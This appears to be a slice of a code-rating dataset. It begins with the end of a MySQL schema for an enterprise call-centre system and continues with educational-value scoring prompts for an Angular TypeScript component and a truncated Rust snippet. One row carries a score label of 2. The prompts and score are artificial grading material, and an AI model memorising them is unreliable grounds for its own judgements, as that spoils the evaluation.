`agent_name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '坐席名称',
`agent_number` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '坐席号码',
`agent_role` tinyint(4) NOT NULL DEFAULT '2' COMMENT '0:管理员坐席，1：班长坐席，2：业务员坐席',
`extension_number` varchar(30) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '分机号码',
`is_delete` int(4) NOT NULL DEFAULT '0' COMMENT '是否已删除（0：未删除1：已删除）',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`),
KEY `idx_seat_telephone_ent` (`extension_number`,`ent_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
-- ----------------------------
-- Table structure for department
-- ----------------------------
DROP TABLE IF EXISTS `department`;
CREATE TABLE `department` (
`id` bigint(20) NOT NULL COMMENT '部门ID',
`ent_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '企业id',
`name` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '部门名称',
`code` varchar(10) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '部门号码',
`parent_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '父部门ID',
`sort` bigint(20) NOT NULL DEFAULT '0' COMMENT '在父部门的次序',
`type` tinyint(4) NOT NULL DEFAULT '1' COMMENT '部门类型：1、部门；2、坐席班组；3临时坐席班组',
`is_delete` tinyint(4) NOT NULL DEFAULT '0' COMMENT '是否已删除（0：未删除1：已删除）',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='部门信息';
-- ----------------------------
-- Table structure for department_line
-- ----------------------------
DROP TABLE IF EXISTS `department_line`;
CREATE TABLE `department_line` (
`id` bigint(20) NOT NULL COMMENT '主键',
`ent_id` bigint(20) NOT NULL COMMENT '企业id',
`department_id` bigint(20) NOT NULL COMMENT '部门id',
`calling_number` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '主叫号码',
`left_line` int(11) NOT NULL DEFAULT '0' COMMENT '主叫号码剩余线路数',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='部门主叫号码，线路表';
-- ----------------------------
-- Table structure for department_user
-- ----------------------------
DROP TABLE IF EXISTS `department_user`;
CREATE TABLE `department_user` (
`id` bigint(20) NOT NULL COMMENT '主键id',
`ent_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '企业id',
`ent_name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '企业名称',
`department_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '部门id',
`department_name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '部门名称',
`user_id` bigint(20) NOT NULL COMMENT '用户id',
`employee_name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '用户名称',
`station_type` tinyint(4) NOT NULL DEFAULT '0' COMMENT '岗位： 0=普通 1=主管 ',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='用户部门关系';
-- ----------------------------
-- Table structure for developer
-- ----------------------------
DROP TABLE IF EXISTS `developer`;
CREATE TABLE `developer` (
`id` bigint(20) NOT NULL COMMENT '开发者主键',
`name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '开发者名称',
`developer_type` tinyint(4) unsigned NOT NULL DEFAULT '0' COMMENT '开发者类型(0:企业，1：ISV)',
`ent_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '企业编号',
`apply_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '申请时间',
`apply_user_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '申请用户编号',
`audit_status` tinyint(4) unsigned NOT NULL DEFAULT '0' COMMENT '申请状态 1.未审核 2,审核中 3审核通过 4.审核未通过',
`audit_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '审批时间',
`remark` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '备注',
`is_delete` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否已删除（0：未删除1：已删除）',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`),
KEY `idx_ent_id` (`ent_id`),
KEY `idx_apply_user_id` (`apply_user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
-- ----------------------------
-- Table structure for developer_app
-- ----------------------------
DROP TABLE IF EXISTS `developer_app`;
CREATE TABLE `developer_app` (
`id` bigint(20) unsigned NOT NULL COMMENT '主键',
`app_name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '应用名称',
`developer_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '开发者编号',
`app_type` tinyint(4) unsigned NOT NULL DEFAULT '0' COMMENT 'app类型(0:一般类型;1:私有化部署)',
`ent_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '企业编号',
`apply_user_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '申请者user_id',
`user_id` bigint(20) NOT NULL COMMENT '关联的user id',
`client_id` varchar(64) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT 'oauth client_id',
`client_secret` varchar(64) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT 'oauth client_secret',
`enabled` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '是否启用 1.启用 2.停用',
`notify_url` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '异步回调地址',
`token` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '加解密需要用到的token,普通企业可以随机填写',
`aes_key` varchar(45) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '数据加密密钥。用于回调数据的加密，长度固定为43个字符，从a-z, A-Z, 0-9共62个字符中选取,您可以随机生成',
`aes_enable` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '是否启用数据加密 0：未启用；1：已启用',
`remark` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '备注',
`is_delete` tinyint(1) NOT NULL DEFAULT '0' COMMENT '是否已删除（0：未删除1：已删除）',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`),
UNIQUE KEY `uk_client_id` (`client_id`),
KEY `idx_ent_id_type` (`ent_id`,`app_type`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
-- ----------------------------
-- Table structure for employee
-- ----------------------------
DROP TABLE IF EXISTS `employee`;
CREATE TABLE `employee` (
`id` bigint(20) NOT NULL COMMENT '主键',
`ent_id` bigint(20) NOT NULL COMMENT '企业id',
`user_id` bigint(20) NOT NULL COMMENT '用户id',
`name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业内姓名',
`status` tinyint(4) NOT NULL DEFAULT '1' COMMENT '0=不可用 (停用) 1=可用',
`clue_number` int(11) NOT NULL DEFAULT '0' COMMENT '个人线索数',
`is_delete` tinyint(4) NOT NULL DEFAULT '0' COMMENT '1= 已删除 0=未删除',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='企业员工表';
-- ----------------------------
-- Table structure for enterprise
-- ----------------------------
DROP TABLE IF EXISTS `enterprise`;
CREATE TABLE `enterprise` (
`ent_id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '企业id',
`admin_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '管理员的user_id',
`ent_name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '企业名称',
`agent_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '代理商id',
`agent_name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '杭州声讯网络科技有限公司' COMMENT '代理商名字',
`is_developer` tinyint(4) unsigned NOT NULL DEFAULT '0' COMMENT '是否是开发者',
`developer_type` tinyint(4) unsigned NOT NULL DEFAULT '0' COMMENT '开发者类型(0:企业，1：ISV)',
`ai_number` int(11) unsigned NOT NULL DEFAULT '0' COMMENT '机器人数',
`private_clue_number` int(11) unsigned NOT NULL DEFAULT '0' COMMENT '企业私有线索数',
`public_clue_number` int(11) unsigned NOT NULL DEFAULT '0' COMMENT '企业共享线索数',
`valid_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '生效时间',
`expire_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '失效日期',
`active` tinyint(4) unsigned NOT NULL DEFAULT '0' COMMENT '0:未激活，1已激活',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
`left_private_clue` int(11) NOT NULL DEFAULT '0' COMMENT '企业私有线索数剩余量',
`left_public_clue` int(11) NOT NULL DEFAULT '0' COMMENT '企业私有线索数剩余量',
`is_delete` int(4) unsigned NOT NULL DEFAULT '0' COMMENT '是否已删除（0：未删除1：已删除）',
`create_by` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '创建人',
`update_by` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '更新人',
PRIMARY KEY (`ent_id`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=74596870223077394 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='企业信息';
-- ----------------------------
-- Table structure for enterprise_config
-- ----------------------------
DROP TABLE IF EXISTS `enterprise_config`;
CREATE TABLE `enterprise_config` (
`id` bigint(20) NOT NULL COMMENT '主键编号',
`ent_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '企业编号',
`code` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '配置code',
`name` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '配置名称',
`value` varchar(500) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '配置值',
`type` tinyint(4) unsigned NOT NULL DEFAULT '0' COMMENT '配置类型(0:系统设置；1:用户设置)',
`enabled` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '是否启用(0:未启用；1：已启用)',
`is_delete` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否已删除(0:未删除;1:已删除)',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`),
UNIQUE KEY `uk_entid_code` (`ent_id`,`code`) USING BTREE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
-- ----------------------------
-- Table structure for enterprise_line
-- ----------------------------
DROP TABLE IF EXISTS `enterprise_line`;
CREATE TABLE `enterprise_line` (
`id` bigint(20) NOT NULL COMMENT '主键',
`ent_id` bigint(20) NOT NULL COMMENT '企业id',
`calling_number` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '主叫号码',
`line_number` int(11) NOT NULL DEFAULT '0' COMMENT '号码线路数',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='企业主叫号码，线路表';
-- ----------------------------
-- Table structure for inbound_router
-- ----------------------------
DROP TABLE IF EXISTS `inbound_router`;
CREATE TABLE `inbound_router` (
`id` bigint(20) NOT NULL COMMENT '主键编号',
`enterprise_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '企业编号',
`inbounds` varchar(255) NOT NULL COMMENT '接入号码，以,分隔',
`agent_group_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT '坐席组主键编号',
`description` varchar(100) NOT NULL DEFAULT '' COMMENT '业务说明',
`is_delete` tinyint(4) unsigned NOT NULL DEFAULT '0' COMMENT '是否已删除,0: 未删除; 1: 已删除',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`),
KEY `idx_enterprise_id` (`enterprise_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='呼入路由配置表';
-- ----------------------------
-- Table structure for permission
-- ----------------------------
DROP TABLE IF EXISTS `permission`;
CREATE TABLE `permission` (
`id` bigint(20) unsigned NOT NULL COMMENT '主键',
`code` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '英文名',
`name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '中文名',
`type` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '类型, API, UI',
`description` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '描述',
`service_name` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '服务名',
`resource` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '权限所代表资源，例如要访问的URL',
`method` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT '' COMMENT '访问资源的方法',
`create_by` bigint(20) unsigned NOT NULL COMMENT '创建者',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_by` bigint(20) unsigned NOT NULL COMMENT '更新者',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`),
UNIQUE KEY `code` (`code`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- ----------------------------
-- Table structure for permission_relation
-- ----------------------------
DROP TABLE IF EXISTS `permission_relation`;
CREATE TABLE `permission_relation` (
`id` bigint(20) unsigned NOT NULL COMMENT '主键',
`father_id` bigint(20) unsigned NOT NULL COMMENT '上层权限权限ID，一般为UI权限',
`permission_id` bigint(20) unsigned NOT NULL COMMENT '当前权限ID',
`code` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '英文名， 冗余',
`name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '中文名',
`description` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '描述',
`service_name` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '服务名',
`resource` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '权限所代表资源，例如要访问的URL, 冗余',
`method` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT '' COMMENT '访问资源的方法, 冗余',
`type` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '类型: UI,API 冗余',
`create_by` bigint(20) unsigned NOT NULL COMMENT '创建者',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_by` bigint(20) unsigned NOT NULL COMMENT '更新者',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`),
UNIQUE KEY `id` (`father_id`,`permission_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- ----------------------------
-- Table structure for role
-- ----------------------------
DROP TABLE IF EXISTS `role`;
CREATE TABLE `role` (
`id` bigint(20) unsigned NOT NULL COMMENT '主键',
`ent_id` bigint(20) unsigned NOT NULL COMMENT '企业ID, 此处必须配置到每个具体企业ID',
`name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '中文名',
`type` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '类型: WEB,OPEN',
`description` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '描述',
`create_by` bigint(20) unsigned NOT NULL COMMENT '创建者',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_by` bigint(20) unsigned NOT NULL COMMENT '更新者',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- ----------------------------
-- Table structure for role_data
-- ----------------------------
DROP TABLE IF EXISTS `role_data`;
CREATE TABLE `role_data` (
`id` bigint(20) NOT NULL COMMENT '主键',
`role_id` bigint(20) NOT NULL COMMENT '角色id',
`range` int(1) NOT NULL DEFAULT '1' COMMENT '数据范围 0=无数据权限 1=仅自己 2=当前部门 3=当前部门及以下 4=指定部门 5=所有权限',
`specific` varchar(2000) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '具体部门',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='角色数据权限';
-- ----------------------------
-- Table structure for role_permission
-- ----------------------------
DROP TABLE IF EXISTS `role_permission`;
CREATE TABLE `role_permission` (
`id` bigint(20) unsigned NOT NULL COMMENT '主键',
`role_id` bigint(20) unsigned NOT NULL COMMENT '角色ID',
`permission_id` bigint(20) unsigned NOT NULL COMMENT '权限ID',
`code` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '英文名， 冗余',
`name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '中文名',
`description` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '描述',
`service_name` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '服务名',
`resource` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '权限所代表资源，例如要访问的URL, 冗余',
`method` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT '' COMMENT '访问资源的方法, 冗余',
`type` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '类型: UI,API 冗余',
`create_by` bigint(20) unsigned NOT NULL COMMENT '创建者',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_by` bigint(20) unsigned NOT NULL COMMENT '更新者',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`),
UNIQUE KEY `id` (`role_id`,`permission_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- ----------------------------
-- Table structure for user
-- ----------------------------
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`id` bigint(20) NOT NULL DEFAULT '0' COMMENT '用户ID',
`name` varchar(50) COLLATE utf8mb4_unicode_ci DEFAULT '' COMMENT '用户名',
`account` varchar(50) COLLATE utf8mb4_unicode_ci DEFAULT '' COMMENT '账号',
`is_admin` tinyint(4) DEFAULT NULL COMMENT '是否管理员(1: 管理员 0: 普通用户)',
`mobile` varchar(11) COLLATE utf8mb4_unicode_ci DEFAULT '' COMMENT '手机号',
`email` varchar(32) COLLATE utf8mb4_unicode_ci DEFAULT '' COMMENT '邮箱',
`password` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '密码',
`user_type` tinyint(4) NOT NULL DEFAULT '0' COMMENT '0=企业web用户 1=企业开放平台用户和APP绑定',
`active` tinyint(4) DEFAULT '0' COMMENT '是否已经激活（0：未激活，1：已激活）',
`user_status` tinyint(4) DEFAULT '1' COMMENT '用户状态（0：不可用，1：可用）',
`avatar` varchar(200) COLLATE utf8mb4_unicode_ci DEFAULT '' COMMENT '头像',
`remark` varchar(200) COLLATE utf8mb4_unicode_ci DEFAULT NULL COMMENT '备注',
`protocol_status` tinyint(4) DEFAULT '0' COMMENT '协议状态（0为未同意，1为同意）',
`is_delete` tinyint(4) DEFAULT '0' COMMENT '是否删除（0：未删除，1：已删除）',
`last_login_time` datetime DEFAULT NULL COMMENT '上一次登录时间',
`create_by` bigint(20) DEFAULT NULL COMMENT '创建人',
`update_by` bigint(20) DEFAULT NULL COMMENT '更新人',
`create_time` datetime DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime DEFAULT CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='用户信息';
-- ----------------------------
-- Table structure for user_role
-- ----------------------------
DROP TABLE IF EXISTS `user_role`;
CREATE TABLE `user_role` (
`id` bigint(20) unsigned NOT NULL COMMENT '主键',
`user_id` bigint(20) unsigned NOT NULL COMMENT '用户ID',
`role_id` bigint(20) unsigned NOT NULL COMMENT '角色ID',
`ent_id` bigint(20) unsigned NOT NULL COMMENT '企业ID， 冗余字段',
`name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '中文名',
`description` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '描述',
`type` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '类型: WEB,OPEN',
`create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '创建者',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '更新者',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`),
UNIQUE KEY `id` (`user_id`,`role_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
|
Below is an extract from a TypeScript program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid TypeScript code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical TypeScript concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., generics, decorators). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching TypeScript. It should be similar to a school exercise, a tutorial, or a TypeScript course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching TypeScript. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
import { Component, OnDestroy, OnInit } from '@angular/core';
import { TournamentService } from '@core/services/tournament';
import { AppState } from '@core/stores/app.state';
import { currentCompetitionIdSelector } from '@core/stores/competition/selectors';
import { Store } from '@ngrx/store';
import { Subscription } from 'rxjs';
import { filter, mergeMap } from 'rxjs/operators';
import { TournamentDetail } from 'tournament/models/tournament.model';
@Component({
selector: 'gg-tournament-list-page',
templateUrl: './tournament-list.component.html',
})
export class TournamentListPageComponent implements OnDestroy, OnInit {
private storeSubscription: Subscription;
public tournaments: TournamentDetail[];
constructor(private store: Store<AppState>, private tournamentService: TournamentService) {}
ngOnInit() {
this.storeSubscription = this.store
.select(currentCompetitionIdSelector)
.pipe(
filter(competitionId => competitionId !== null),
mergeMap(competitionId => this.tournamentService.getTournamentListForCompetition(competitionId))
)
.subscribe(tournaments => {
this.tournaments = tournaments;
});
}
ngOnDestroy() {
if (this.storeSubscription) {
this.storeSubscription.unsubscribe();
}
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
typescript
| 2 |
import { Component, OnDestroy, OnInit } from '@angular/core';
import { TournamentService } from '@core/services/tournament';
import { AppState } from '@core/stores/app.state';
import { currentCompetitionIdSelector } from '@core/stores/competition/selectors';
import { Store } from '@ngrx/store';
import { Subscription } from 'rxjs';
import { filter, mergeMap } from 'rxjs/operators';
import { TournamentDetail } from 'tournament/models/tournament.model';
@Component({
selector: 'gg-tournament-list-page',
templateUrl: './tournament-list.component.html',
})
export class TournamentListPageComponent implements OnDestroy, OnInit {
private storeSubscription: Subscription;
public tournaments: TournamentDetail[];
constructor(private store: Store<AppState>, private tournamentService: TournamentService) {}
ngOnInit() {
this.storeSubscription = this.store
.select(currentCompetitionIdSelector)
.pipe(
filter(competitionId => competitionId !== null),
mergeMap(competitionId => this.tournamentService.getTournamentListForCompetition(competitionId))
)
.subscribe(tournaments => {
this.tournaments = tournaments;
});
}
ngOnDestroy() {
if (this.storeSubscription) {
this.storeSubscription.unsubscribe();
}
}
}
|
Below is an extract from a Rust program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Rust code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Rust concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., ownership, lifetimes). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Rust. It should be similar to a school exercise, a tutorial, or a Rust course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Rust. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
use std::cell::RefCell;
use std::rc::Rc;
use super::super::node_function::{CgFunction, CgFunctionWrapper};
use super::super::node_variable::{CgVariableWeakWrapper, CgVariableWrapper};
use ndarray::*;
pub struct CgPlus {
domain_shape: (usize, usize),
codomain_shape: (usize, usize),
left_parent_wrapper: CgVariableWrapper,
right_parent_wrapper: CgVariableWrapper,
child_variable_reference_weak_optional: Option<CgVariableWeakWrapper>,
}
impl CgPlus {
pub fn from_wrapper_to_reference(
left_parent_wrapper: CgVariableWrapper,
right_parent_wrapper: CgVariableWrapper,
) -> Rc<RefCell<Self>> {
let shape_left = (*left_parent_wrapper).borrow().get_shape();
let shape_right = (*right_parent_wrapper).borrow().get_shape();
assert_eq!(shape_left, shape_right);
let domain_shape = shape_left;
let codomain_shape = shape_left;
let child_variable_reference_weak_optional = None;
let data = CgPlus {
domain_shape,
codomain_shape, // `+` returns same shape
left_parent_wrapper,
right_parent_wrapper,
child_variable_reference_weak_optional,
};
let reference = Rc::new(RefCell::new(data));
reference
}
}
impl CgFunction for CgPlus {
fn apply(
left_parent_wrapper: CgVariableWrapper,
right_parent_wrapper: CgVariableWrapper,
) -> CgVariableWrapper {
let reference = Self::from_wrapper_to_reference(left_parent_wrapper, right_parent_wrapper);
let wrapper = CgFunctionWrapper(reference);
let wrapper = CgVariableWrapper::from_function_wrapper(wrapper);
wrapper
}
fn forward(&self) -> Array2<f32> {
{
